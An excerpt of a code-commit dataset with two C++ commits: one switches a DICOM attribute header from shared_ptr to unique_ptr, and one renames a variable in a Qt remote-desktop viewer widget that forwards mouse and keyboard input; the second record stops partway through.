text
stringlengths 54
60.6k
|
|---|
<commit_before>#ifndef ATTRIBUTE_HPP
#define ATTRIBUTE_HPP
#include <set>
#include <vector>
#include <chrono>
#include <memory>
#include <boost/optional.hpp>
/**
* @brief The VR enum defines the value representations of an attribute
* a Value Representation can be described as a data type.
*/
enum class VR
{
AE, AS, AT, CS, DA, DS, DT, FL, FD, IS,
LO, LT, OB, OD, OF, OW, PN, SH, SL, SQ,
SS, ST, TM, UI, UL, UN, US, UT
};
struct elementfield_base;
template <VR vr>
struct element_field;
/**
* @brief The attribute_visitor class is the base class for the visitors that
* operate on the VR dependent types.
*/
template <VR vr>
class attribute_visitor
{
public:
virtual void accept(element_field<vr>* ef)
{
this->apply(ef);
}
virtual void apply(element_field<vr>*) { assert(false); }
};
/**
* @brief The elementfield_base struct is the base type for the element fields
* with their different types.
* This struct may not be dependent on any template parameters, as it is used
* by the elementfield struct which holds a "type-dependency-free" pointer to
* it.
*/
struct elementfield_base
{
/**
* @brief accept
* @param op
*/
template <VR vr>
void accept(attribute_visitor<vr>& op) {
element_field<vr>* ef = dynamic_cast<element_field<vr>*>(this);
assert(ef); // this class is abstract; the dynamic type of this must be
// a pointer to a subclass, therefore ef cannot be nullptr.
op.accept(ef);
}
virtual ~elementfield_base() = 0;
};
/**
* @brief The elementfield_base struct defines all information contained in an
* attribute of an iod
* @see DICOM standard 3.5, chapter 7
*/
struct elementfield
{
struct tag_type
{
short group_id;
short element_id;
};
tag_type tag;
boost::optional<VR> value_rep;
std::size_t value_len;
std::shared_ptr<elementfield_base> value_field;
};
/**
* construct a type mapping VR -> T using specialized templates
*/
template<VR>
struct type_of {};
template<>
struct type_of<VR::AE>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::AS>
{
using type = std::string;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::AT>
{
using type = elementfield::tag_type;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::CS>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::DA>
{
using type = std::string;
static const std::size_t len = 8;
};
template<>
struct type_of<VR::DS>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::DT>
{
using type = std::string;
static const std::size_t max_len = 26;
};
template<>
struct type_of<VR::FL>
{
using type = float;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::FD>
{
using type = double;
static const std::size_t len = 8;
};
template<>
struct type_of<VR::IS>
{
using type = std::string;
static const std::size_t max_len = 12;
};
template<>
struct type_of<VR::LO>
{
using type = std::string;
static const std::size_t max_len = 64;
};
template<>
struct type_of<VR::LT>
{
using type = std::string;
static const std::size_t max_len = 10240;
};
template<>
struct type_of<VR::OB> { using type = std::vector<unsigned char>; };
template<>
struct type_of<VR::OD>
{
using type = std::vector<unsigned char>;
static const std::size_t max_len = 4294967288; //2^32-8
};
template<>
struct type_of<VR::OF>
{
using type = std::string;
static const std::size_t max_len = 4294967292; //2^32-4
};
template<>
struct type_of<VR::OW> { using type = std::string; };
template<>
struct type_of<VR::PN>
{
using type = std::string;
static const std::size_t max_len = 64;
};
template<>
struct type_of<VR::SH>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::SL>
{
using type = long;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::SQ> { using type = std::vector<std::set<elementfield_base>>; };
template<>
struct type_of<VR::SS>
{
using type = short;
static const std::size_t len = 2;
};
template<>
struct type_of<VR::ST>
{
using type = std::string;
static const std::size_t max_len = 1024;
};
template<>
struct type_of<VR::TM>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::UI>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::UN> { using type = std::vector<unsigned char>; };
template<>
struct type_of<VR::US>
{
using type = unsigned short;
static const std::size_t len = 2;
};
template<>
struct type_of<VR::UT>
{
using type = std::string;
static const std::size_t max_len = 4294967294; //2^32-2
};
/**
* @brief The element_field struct contains the type-specific data and methods
* for setting / receiving those
*/
template <VR vr>
struct element_field: elementfield_base
{
using vrtype = typename type_of<vr>::type;
vrtype value_field;
virtual ~element_field() {}
};
/**
* @brief The get_visitor class is used to retrieve the value of the value field
* of an attribute.
*/
template <VR vr>
class get_visitor : public attribute_visitor<vr>
{
private:
typename type_of<vr>::type& getdata;
public:
get_visitor(typename type_of<vr>::type& data): getdata(data) {
}
virtual void apply(element_field<vr>* ef) override {
getdata = ef->value_field;
}
};
/**
* @brief get_value_field is used to retrieve the value of the value field
* of an attribute.
* @param e element field / attribute operated upon
* @param out_data reference where the value will be stored
*/
template <VR vr>
void get_value_field(elementfield& e, typename type_of<vr>::type& out_data)
{
get_visitor<vr> getter(out_data);
e.value_field->accept<vr>(getter);
}
/**
* @brief The set_visitor class is used to set a specified value into the
* value field.
*/
template <VR vr>
class set_visitor : public attribute_visitor<vr>
{
private:
typename type_of<vr>::type setdata;
public:
set_visitor(typename type_of<vr>::type data) {
setdata = data;
}
virtual void apply(element_field<vr>* ef) override {
ef->value_field = setdata;
}
};
/**
* @brief make_elementfield is a factory function to return a prepared attribute
* / element field.
* @param gid group id
* @param eid element id
* @param data data for the value field
* @return prepared instance of elementfield
*/
template <VR vr>
elementfield make_elementfield(short gid, short eid, std::size_t data_len, typename type_of<vr>::type data)
{
elementfield el;
el.tag.group_id = gid; el.tag.element_id = eid;
el.value_rep = vr;
el.value_len = data_len;
el.value_field = std::shared_ptr<elementfield_base> {new element_field<vr>};
set_visitor<vr> setter(data);
el.value_field->accept<vr>(setter);
return el;
}
/**
* @brief operator < is necessary for the storage in the set
* @param lhs
* @param rhs
* @return
* The order is defined by the attribute group and element ids. a < b is true
* iff the group id of a is lesser than b, or if they are equal, iff the
* element id of a is lesser than b.
*/
bool operator<(const elementfield& lhs, const elementfield& rhs);
bool operator<(const elementfield::tag_type& lhs, const elementfield::tag_type& rhs);
#endif // IOD_HPP
<commit_msg>replace shared_ptr with unique_ptr<commit_after>#ifndef ATTRIBUTE_HPP
#define ATTRIBUTE_HPP
#include <set>
#include <vector>
#include <chrono>
#include <memory>
#include <boost/optional.hpp>
/**
* @brief The VR enum defines the value representations of an attribute
* a Value Representation can be described as a data type.
*/
enum class VR
{
AE, AS, AT, CS, DA, DS, DT, FL, FD, IS,
LO, LT, OB, OD, OF, OW, PN, SH, SL, SQ,
SS, ST, TM, UI, UL, UN, US, UT
};
struct elementfield_base;
template <VR vr>
struct element_field;
/**
* @brief The attribute_visitor class is the base class for the visitors that
* operate on the VR dependent types.
*/
template <VR vr>
class attribute_visitor
{
public:
virtual void accept(element_field<vr>* ef)
{
this->apply(ef);
}
virtual void apply(element_field<vr>*) { assert(false); }
};
/**
* @brief The elementfield_base struct is the base type for the element fields
* with their different types.
* This struct may not be dependent on any template parameters, as it is used
* by the elementfield struct which holds a "type-dependency-free" pointer to
* it.
*/
struct elementfield_base
{
/**
* @brief accept
* @param op
*/
template <VR vr>
void accept(attribute_visitor<vr>& op) {
element_field<vr>* ef = dynamic_cast<element_field<vr>*>(this);
assert(ef); // this class is abstract; the dynamic type of this must be
// a pointer to a subclass, therefore ef cannot be nullptr.
op.accept(ef);
}
virtual ~elementfield_base() = 0;
};
/**
* @brief The elementfield_base struct defines all information contained in an
* attribute of an iod
* @see DICOM standard 3.5, chapter 7
*/
struct elementfield
{
struct tag_type
{
short group_id;
short element_id;
};
tag_type tag;
boost::optional<VR> value_rep;
std::size_t value_len;
std::unique_ptr<elementfield_base> value_field;
};
/**
* construct a type mapping VR -> T using specialized templates
*/
template<VR>
struct type_of {};
template<>
struct type_of<VR::AE>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::AS>
{
using type = std::string;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::AT>
{
using type = elementfield::tag_type;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::CS>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::DA>
{
using type = std::string;
static const std::size_t len = 8;
};
template<>
struct type_of<VR::DS>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::DT>
{
using type = std::string;
static const std::size_t max_len = 26;
};
template<>
struct type_of<VR::FL>
{
using type = float;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::FD>
{
using type = double;
static const std::size_t len = 8;
};
template<>
struct type_of<VR::IS>
{
using type = std::string;
static const std::size_t max_len = 12;
};
template<>
struct type_of<VR::LO>
{
using type = std::string;
static const std::size_t max_len = 64;
};
template<>
struct type_of<VR::LT>
{
using type = std::string;
static const std::size_t max_len = 10240;
};
template<>
struct type_of<VR::OB> { using type = std::vector<unsigned char>; };
template<>
struct type_of<VR::OD>
{
using type = std::vector<unsigned char>;
static const std::size_t max_len = 4294967288; //2^32-8
};
template<>
struct type_of<VR::OF>
{
using type = std::string;
static const std::size_t max_len = 4294967292; //2^32-4
};
template<>
struct type_of<VR::OW> { using type = std::string; };
template<>
struct type_of<VR::PN>
{
using type = std::string;
static const std::size_t max_len = 64;
};
template<>
struct type_of<VR::SH>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::SL>
{
using type = long;
static const std::size_t len = 4;
};
template<>
struct type_of<VR::SQ> { using type = std::vector<std::set<elementfield_base>>; };
template<>
struct type_of<VR::SS>
{
using type = short;
static const std::size_t len = 2;
};
template<>
struct type_of<VR::ST>
{
using type = std::string;
static const std::size_t max_len = 1024;
};
template<>
struct type_of<VR::TM>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::UI>
{
using type = std::string;
static const std::size_t max_len = 16;
};
template<>
struct type_of<VR::UN> { using type = std::vector<unsigned char>; };
template<>
struct type_of<VR::US>
{
using type = unsigned short;
static const std::size_t len = 2;
};
template<>
struct type_of<VR::UT>
{
using type = std::string;
static const std::size_t max_len = 4294967294; //2^32-2
};
/**
* @brief The element_field struct contains the type-specific data and methods
* for setting / receiving those
*/
template <VR vr>
struct element_field: elementfield_base
{
using vrtype = typename type_of<vr>::type;
vrtype value_field;
virtual ~element_field() {}
};
/**
* @brief The get_visitor class is used to retrieve the value of the value field
* of an attribute.
*/
template <VR vr>
class get_visitor : public attribute_visitor<vr>
{
private:
typename type_of<vr>::type& getdata;
public:
get_visitor(typename type_of<vr>::type& data): getdata(data) {
}
virtual void apply(element_field<vr>* ef) override {
getdata = ef->value_field;
}
};
/**
* @brief get_value_field is used to retrieve the value of the value field
* of an attribute.
* @param e element field / attribute operated upon
* @param out_data reference where the value will be stored
*/
template <VR vr>
void get_value_field(elementfield& e, typename type_of<vr>::type& out_data)
{
get_visitor<vr> getter(out_data);
e.value_field->accept<vr>(getter);
}
/**
* @brief The set_visitor class is used to set a specified value into the
* value field.
*/
template <VR vr>
class set_visitor : public attribute_visitor<vr>
{
private:
typename type_of<vr>::type setdata;
public:
set_visitor(typename type_of<vr>::type data) {
setdata = data;
}
virtual void apply(element_field<vr>* ef) override {
ef->value_field = setdata;
}
};
/**
* @brief make_elementfield is a factory function to return a prepared attribute
* / element field.
* @param gid group id
* @param eid element id
* @param data data for the value field
* @return prepared instance of elementfield
*/
template <VR vr>
elementfield make_elementfield(short gid, short eid, std::size_t data_len, typename type_of<vr>::type data)
{
elementfield el;
el.tag.group_id = gid; el.tag.element_id = eid;
el.value_rep = vr;
el.value_len = data_len;
el.value_field = std::unique_ptr<elementfield_base> {new element_field<vr>};
set_visitor<vr> setter(data);
el.value_field->accept<vr>(setter);
return el;
}
/**
* @brief operator < is necessary for the storage in the set
* @param lhs
* @param rhs
* @return
* The order is defined by the attribute group and element ids. a < b is true
* iff the group id of a is lesser than b, or if they are equal, iff the
* element id of a is lesser than b.
*/
bool operator<(const elementfield& lhs, const elementfield& rhs);
bool operator<(const elementfield::tag_type& lhs, const elementfield::tag_type& rhs);
#endif // IOD_HPP
<|endoftext|>
|
<commit_before>//
// Aspia Project
// Copyright (C) 2020 Dmitry Chapyshev <dmitry@aspia.ru>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
#include "client/ui/desktop_widget.h"
#include "common/keycode_converter.h"
#include "client/ui/frame_qimage.h"
#include <QApplication>
#include <QWheelEvent>
namespace client {
namespace {
constexpr uint32_t kWheelMask = proto::MouseEvent::WHEEL_DOWN | proto::MouseEvent::WHEEL_UP;
bool isNumLockActivated()
{
#if defined(OS_WIN)
return GetKeyState(VK_NUMLOCK) != 0;
#else
#error Platform support not implemented
#endif // defined(OS_WIN)
}
bool isCapsLockActivated()
{
#if defined(OS_WIN)
return GetKeyState(VK_CAPITAL) != 0;
#else
#error Platform support not implemented
#endif // defined(OS_WIN)
}
bool isModifierKey(int key)
{
return key == Qt::Key_Control || key == Qt::Key_Alt ||
key == Qt::Key_Shift || key == Qt::Key_Meta;
}
} // namespace
DesktopWidget::DesktopWidget(Delegate* delegate, QWidget* parent)
: QWidget(parent),
delegate_(delegate)
{
setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
setFocusPolicy(Qt::StrongFocus);
setAttribute(Qt::WA_OpaquePaintEvent);
setAttribute(Qt::WA_NoSystemBackground);
setMouseTracking(true);
}
base::Frame* DesktopWidget::desktopFrame()
{
return frame_.get();
}
void DesktopWidget::setDesktopFrame(std::shared_ptr<base::Frame>& frame)
{
frame_ = std::move(frame);
}
void DesktopWidget::doMouseEvent(QEvent::Type event_type,
const Qt::MouseButtons& buttons,
const QPoint& pos,
const QPoint& delta)
{
if (!frame_)
return;
uint32_t mask;
if (event_type == QMouseEvent::MouseMove)
{
mask = prev_mask_;
}
else
{
mask = 0;
if (buttons & Qt::LeftButton)
mask |= proto::MouseEvent::LEFT_BUTTON;
if (buttons & Qt::MiddleButton)
mask |= proto::MouseEvent::MIDDLE_BUTTON;
if (buttons & Qt::RightButton)
mask |= proto::MouseEvent::RIGHT_BUTTON;
}
int wheel_steps = 0;
if (event_type == QEvent::Wheel)
{
if (delta.y() < 0)
{
mask |= proto::MouseEvent::WHEEL_DOWN;
wheel_steps = -delta.y() / QWheelEvent::DefaultDeltasPerStep;
}
else
{
mask |= proto::MouseEvent::WHEEL_UP;
wheel_steps = delta.y() / QWheelEvent::DefaultDeltasPerStep;
}
if (!wheel_steps)
wheel_steps = 1;
}
if (prev_pos_ != pos || prev_mask_ != mask)
{
prev_pos_ = pos;
prev_mask_ = mask & ~kWheelMask;
proto::MouseEvent event;
event.set_x(pos.x());
event.set_y(pos.y());
event.set_mask(mask);
if (mask & kWheelMask)
{
for (int i = 0; i < wheel_steps; ++i)
delegate_->onMouseEvent(event);
}
else
{
delegate_->onMouseEvent(event);
}
}
}
void DesktopWidget::doKeyEvent(QKeyEvent* event)
{
int key = event->key();
if (key == Qt::Key_CapsLock || key == Qt::Key_NumLock)
return;
if (!enable_key_sequenses_ && isModifierKey(key))
return;
uint32_t flags = ((event->type() == QEvent::KeyPress) ? proto::KeyEvent::PRESSED : 0);
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
uint32_t usb_keycode =
common::KeycodeConverter::nativeKeycodeToUsbKeycode(event->nativeScanCode());
if (usb_keycode == common::KeycodeConverter::invalidUsbKeycode())
return;
executeKeyEvent(usb_keycode, flags);
}
void DesktopWidget::executeKeyCombination(int key_sequence)
{
const uint32_t kUsbCodeLeftAlt = 0x0700e2;
const uint32_t kUsbCodeLeftCtrl = 0x0700e0;
const uint32_t kUsbCodeLeftShift = 0x0700e1;
const uint32_t kUsbCodeLeftMeta = 0x0700e3;
uint32_t flags = 0;
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
uint32_t key = common::KeycodeConverter::qtKeycodeToUsbKeycode(
key_sequence & ~Qt::KeyboardModifierMask);
if (key == common::KeycodeConverter::invalidUsbKeycode())
return;
proto::KeyEvent event;
event.set_flags(flags | proto::KeyEvent::PRESSED);
if (key_sequence & Qt::AltModifier)
{
event.set_usb_keycode(kUsbCodeLeftAlt);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ControlModifier)
{
event.set_usb_keycode(kUsbCodeLeftCtrl);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ShiftModifier)
{
event.set_usb_keycode(kUsbCodeLeftShift);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::MetaModifier)
{
event.set_usb_keycode(kUsbCodeLeftMeta);
delegate_->onKeyEvent(event);
}
event.set_usb_keycode(key);
delegate_->onKeyEvent(event);
event.set_flags(flags);
event.set_usb_keycode(key);
delegate_->onKeyEvent(event);
if (key_sequence & Qt::MetaModifier)
{
event.set_usb_keycode(kUsbCodeLeftMeta);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ShiftModifier)
{
event.set_usb_keycode(kUsbCodeLeftShift);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ControlModifier)
{
event.set_usb_keycode(kUsbCodeLeftCtrl);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::AltModifier)
{
event.set_usb_keycode(kUsbCodeLeftAlt);
delegate_->onKeyEvent(event);
}
}
void DesktopWidget::enableKeyCombinations(bool enable)
{
enable_key_sequenses_ = enable;
#if defined(OS_WIN)
if (enable)
keyboard_hook_.reset(SetWindowsHookExW(WH_KEYBOARD_LL, keyboardHookProc, nullptr, 0));
else
keyboard_hook_.reset();
#endif // defined(OS_WIN)
}
void DesktopWidget::paintEvent(QPaintEvent* /* event */)
{
FrameQImage* frame = reinterpret_cast<FrameQImage*>(frame_.get());
if (frame)
{
painter_.begin(this);
painter_.setRenderHint(QPainter::SmoothPixmapTransform);
painter_.drawImage(rect(), frame->constImage());
painter_.end();
}
delegate_->onDrawDesktop();
}
void DesktopWidget::mouseMoveEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::mousePressEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::mouseReleaseEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::mouseDoubleClickEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::keyPressEvent(QKeyEvent* event)
{
doKeyEvent(event);
}
void DesktopWidget::keyReleaseEvent(QKeyEvent* event)
{
doKeyEvent(event);
}
void DesktopWidget::leaveEvent(QEvent* event)
{
#if defined(OS_WIN)
keyboard_hook_.reset();
#endif // defined(OS_WIN)
// When the mouse cursor leaves the widget area, release all the mouse buttons.
if (prev_mask_ != 0)
{
proto::MouseEvent event;
event.set_x(prev_pos_.x());
event.set_y(prev_pos_.y());
delegate_->onMouseEvent(event);
prev_mask_ = 0;
}
QWidget::leaveEvent(event);
}
void DesktopWidget::focusInEvent(QFocusEvent* event)
{
#if defined(OS_WIN)
if (enable_key_sequenses_)
keyboard_hook_.reset(SetWindowsHookExW(WH_KEYBOARD_LL, keyboardHookProc, nullptr, 0));
#endif // defined(OS_WIN)
QWidget::focusInEvent(event);
}
void DesktopWidget::focusOutEvent(QFocusEvent* event)
{
#if defined(OS_WIN)
keyboard_hook_.reset();
#endif // defined(OS_WIN)
// Release all pressed keys of the keyboard.
if (!pressed_keys_.empty())
{
uint32_t flags = 0;
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
proto::KeyEvent event;
event.set_flags(flags);
auto it = pressed_keys_.begin();
while (it != pressed_keys_.end())
{
event.set_usb_keycode(*it);
delegate_->onKeyEvent(event);
it = pressed_keys_.erase(it);
}
}
QWidget::focusOutEvent(event);
}
void DesktopWidget::executeKeyEvent(uint32_t usb_keycode, uint32_t flags)
{
if (flags & proto::KeyEvent::PRESSED)
pressed_keys_.insert(usb_keycode);
else
pressed_keys_.erase(usb_keycode);
proto::KeyEvent event;
event.set_usb_keycode(usb_keycode);
event.set_flags(flags);
delegate_->onKeyEvent(event);
}
#if defined(OS_WIN)
// static
LRESULT CALLBACK DesktopWidget::keyboardHookProc(INT code, WPARAM wparam, LPARAM lparam)
{
if (code == HC_ACTION)
{
DesktopWidget* self = dynamic_cast<DesktopWidget*>(QApplication::focusWidget());
if (self)
{
KBDLLHOOKSTRUCT* hook = reinterpret_cast<KBDLLHOOKSTRUCT*>(lparam);
if (hook->vkCode != VK_CAPITAL && hook->vkCode != VK_NUMLOCK)
{
uint32_t flags = ((wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN) ?
proto::KeyEvent::PRESSED : 0);
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
uint32_t scan_code = hook->scanCode;
if (hook->flags & LLKHF_EXTENDED)
scan_code |= 0x100;
uint32_t usb_keycode =
common::KeycodeConverter::nativeKeycodeToUsbKeycode(scan_code);
if (usb_keycode != common::KeycodeConverter::invalidUsbKeycode())
{
self->executeKeyEvent(usb_keycode, flags);
return TRUE;
}
}
}
}
return CallNextHookEx(nullptr, code, wparam, lparam);
}
#endif // defined(OS_WIN)
} // namespace client
<commit_msg>Fixed variable name.<commit_after>//
// Aspia Project
// Copyright (C) 2020 Dmitry Chapyshev <dmitry@aspia.ru>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
#include "client/ui/desktop_widget.h"
#include "common/keycode_converter.h"
#include "client/ui/frame_qimage.h"
#include <QApplication>
#include <QWheelEvent>
namespace client {
namespace {
constexpr uint32_t kWheelMask = proto::MouseEvent::WHEEL_DOWN | proto::MouseEvent::WHEEL_UP;
bool isNumLockActivated()
{
#if defined(OS_WIN)
return GetKeyState(VK_NUMLOCK) != 0;
#else
#error Platform support not implemented
#endif // defined(OS_WIN)
}
bool isCapsLockActivated()
{
#if defined(OS_WIN)
return GetKeyState(VK_CAPITAL) != 0;
#else
#error Platform support not implemented
#endif // defined(OS_WIN)
}
bool isModifierKey(int key)
{
return key == Qt::Key_Control || key == Qt::Key_Alt ||
key == Qt::Key_Shift || key == Qt::Key_Meta;
}
} // namespace
DesktopWidget::DesktopWidget(Delegate* delegate, QWidget* parent)
: QWidget(parent),
delegate_(delegate)
{
setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
setFocusPolicy(Qt::StrongFocus);
setAttribute(Qt::WA_OpaquePaintEvent);
setAttribute(Qt::WA_NoSystemBackground);
setMouseTracking(true);
}
base::Frame* DesktopWidget::desktopFrame()
{
return frame_.get();
}
void DesktopWidget::setDesktopFrame(std::shared_ptr<base::Frame>& frame)
{
frame_ = std::move(frame);
}
void DesktopWidget::doMouseEvent(QEvent::Type event_type,
const Qt::MouseButtons& buttons,
const QPoint& pos,
const QPoint& delta)
{
if (!frame_)
return;
uint32_t mask;
if (event_type == QMouseEvent::MouseMove)
{
mask = prev_mask_;
}
else
{
mask = 0;
if (buttons & Qt::LeftButton)
mask |= proto::MouseEvent::LEFT_BUTTON;
if (buttons & Qt::MiddleButton)
mask |= proto::MouseEvent::MIDDLE_BUTTON;
if (buttons & Qt::RightButton)
mask |= proto::MouseEvent::RIGHT_BUTTON;
}
int wheel_steps = 0;
if (event_type == QEvent::Wheel)
{
if (delta.y() < 0)
{
mask |= proto::MouseEvent::WHEEL_DOWN;
wheel_steps = -delta.y() / QWheelEvent::DefaultDeltasPerStep;
}
else
{
mask |= proto::MouseEvent::WHEEL_UP;
wheel_steps = delta.y() / QWheelEvent::DefaultDeltasPerStep;
}
if (!wheel_steps)
wheel_steps = 1;
}
if (prev_pos_ != pos || prev_mask_ != mask)
{
prev_pos_ = pos;
prev_mask_ = mask & ~kWheelMask;
proto::MouseEvent event;
event.set_x(pos.x());
event.set_y(pos.y());
event.set_mask(mask);
if (mask & kWheelMask)
{
for (int i = 0; i < wheel_steps; ++i)
delegate_->onMouseEvent(event);
}
else
{
delegate_->onMouseEvent(event);
}
}
}
void DesktopWidget::doKeyEvent(QKeyEvent* event)
{
int key = event->key();
if (key == Qt::Key_CapsLock || key == Qt::Key_NumLock)
return;
if (!enable_key_sequenses_ && isModifierKey(key))
return;
uint32_t flags = ((event->type() == QEvent::KeyPress) ? proto::KeyEvent::PRESSED : 0);
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
uint32_t usb_keycode =
common::KeycodeConverter::nativeKeycodeToUsbKeycode(event->nativeScanCode());
if (usb_keycode == common::KeycodeConverter::invalidUsbKeycode())
return;
executeKeyEvent(usb_keycode, flags);
}
void DesktopWidget::executeKeyCombination(int key_sequence)
{
const uint32_t kUsbCodeLeftAlt = 0x0700e2;
const uint32_t kUsbCodeLeftCtrl = 0x0700e0;
const uint32_t kUsbCodeLeftShift = 0x0700e1;
const uint32_t kUsbCodeLeftMeta = 0x0700e3;
uint32_t flags = 0;
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
flags |= (isNumLockActivated() ? proto::KeyEvent::NUMLOCK : 0);
uint32_t key = common::KeycodeConverter::qtKeycodeToUsbKeycode(
key_sequence & ~Qt::KeyboardModifierMask);
if (key == common::KeycodeConverter::invalidUsbKeycode())
return;
proto::KeyEvent event;
event.set_flags(flags | proto::KeyEvent::PRESSED);
if (key_sequence & Qt::AltModifier)
{
event.set_usb_keycode(kUsbCodeLeftAlt);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ControlModifier)
{
event.set_usb_keycode(kUsbCodeLeftCtrl);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ShiftModifier)
{
event.set_usb_keycode(kUsbCodeLeftShift);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::MetaModifier)
{
event.set_usb_keycode(kUsbCodeLeftMeta);
delegate_->onKeyEvent(event);
}
event.set_usb_keycode(key);
delegate_->onKeyEvent(event);
event.set_flags(flags);
event.set_usb_keycode(key);
delegate_->onKeyEvent(event);
if (key_sequence & Qt::MetaModifier)
{
event.set_usb_keycode(kUsbCodeLeftMeta);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ShiftModifier)
{
event.set_usb_keycode(kUsbCodeLeftShift);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::ControlModifier)
{
event.set_usb_keycode(kUsbCodeLeftCtrl);
delegate_->onKeyEvent(event);
}
if (key_sequence & Qt::AltModifier)
{
event.set_usb_keycode(kUsbCodeLeftAlt);
delegate_->onKeyEvent(event);
}
}
void DesktopWidget::enableKeyCombinations(bool enable)
{
enable_key_sequenses_ = enable;
#if defined(OS_WIN)
if (enable)
keyboard_hook_.reset(SetWindowsHookExW(WH_KEYBOARD_LL, keyboardHookProc, nullptr, 0));
else
keyboard_hook_.reset();
#endif // defined(OS_WIN)
}
void DesktopWidget::paintEvent(QPaintEvent* /* event */)
{
FrameQImage* frame = reinterpret_cast<FrameQImage*>(frame_.get());
if (frame)
{
painter_.begin(this);
painter_.setRenderHint(QPainter::SmoothPixmapTransform);
painter_.drawImage(rect(), frame->constImage());
painter_.end();
}
delegate_->onDrawDesktop();
}
void DesktopWidget::mouseMoveEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::mousePressEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::mouseReleaseEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::mouseDoubleClickEvent(QMouseEvent* event)
{
doMouseEvent(event->type(), event->buttons(), event->pos());
}
void DesktopWidget::keyPressEvent(QKeyEvent* event)
{
doKeyEvent(event);
}
void DesktopWidget::keyReleaseEvent(QKeyEvent* event)
{
doKeyEvent(event);
}
void DesktopWidget::leaveEvent(QEvent* event)
{
#if defined(OS_WIN)
keyboard_hook_.reset();
#endif // defined(OS_WIN)
// When the mouse cursor leaves the widget area, release all the mouse buttons.
if (prev_mask_ != 0)
{
proto::MouseEvent mouse_event;
mouse_event.set_x(prev_pos_.x());
mouse_event.set_y(prev_pos_.y());
delegate_->onMouseEvent(mouse_event);
prev_mask_ = 0;
}
QWidget::leaveEvent(event);
}
void DesktopWidget::focusInEvent(QFocusEvent* event)
{
#if defined(OS_WIN)
if (enable_key_sequenses_)
keyboard_hook_.reset(SetWindowsHookExW(WH_KEYBOARD_LL, keyboardHookProc, nullptr, 0));
#endif // defined(OS_WIN)
QWidget::focusInEvent(event);
}
void DesktopWidget::focusOutEvent(QFocusEvent* event)
{
#if defined(OS_WIN)
keyboard_hook_.reset();
#endif // defined(OS_WIN)
// Release all pressed keys of the keyboard.
if (!pressed_keys_.empty())
{
uint32_t flags = 0;
flags |= (isCapsLockActivated() ? proto::KeyEvent::CAPSLOCK : 0);
